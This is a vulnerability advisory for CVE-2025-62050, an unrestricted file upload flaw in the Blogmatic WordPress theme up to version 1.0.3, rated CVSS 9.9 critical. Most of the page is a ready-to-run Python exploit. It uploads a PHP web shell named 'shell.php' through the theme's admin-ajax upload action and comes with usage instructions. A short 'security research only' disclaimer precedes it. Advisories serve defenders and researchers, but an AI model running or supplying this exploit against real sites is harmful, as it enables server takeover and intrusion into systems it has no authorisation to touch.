Unrestricted Upload of File with Dangerous Type vulnerability in blazethemes Blogmatic blogmatic.This issue affects Blogmatic: from n/a through <= 1.0.3.
CVSS Details
CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Blogmatic <= 1.0.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2025-62050 Blogmatic Theme Arbitrary File Upload PoC
# Target: WordPress site with Blogmatic theme <= 1.0.3
def exploit(target_url, file_path):
"""
Exploit arbitrary file upload vulnerability in Blogmatic theme
"""
upload_url = f"{target_url}/wp-admin/admin-ajax.php"
# Read the malicious file to upload
with open(file_path, 'rb') as f:
files = {
'file': ('shell.php', f.read(), 'application/x-php')
}
data = {
'action': 'blogmatic_upload_file',
'nonce': 'dummy' # May need valid nonce depending on version
}
try:
response = requests.post(upload_url, files=files, data=data, timeout=10)
if response.status_code == 200:
print(f"[+] File uploaded successfully!")
print(f"[+] Response: {response.text}")
return True
else:
print(f"[-] Upload failed with status: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: python {sys.argv[0]} <target_url> <file_to_upload>")
print(f"Example: python {sys.argv[0]} http://target.com shell.php")
sys.exit(1)
target = sys.argv[1]
file_path = sys.argv[2]
exploit(target, file_path)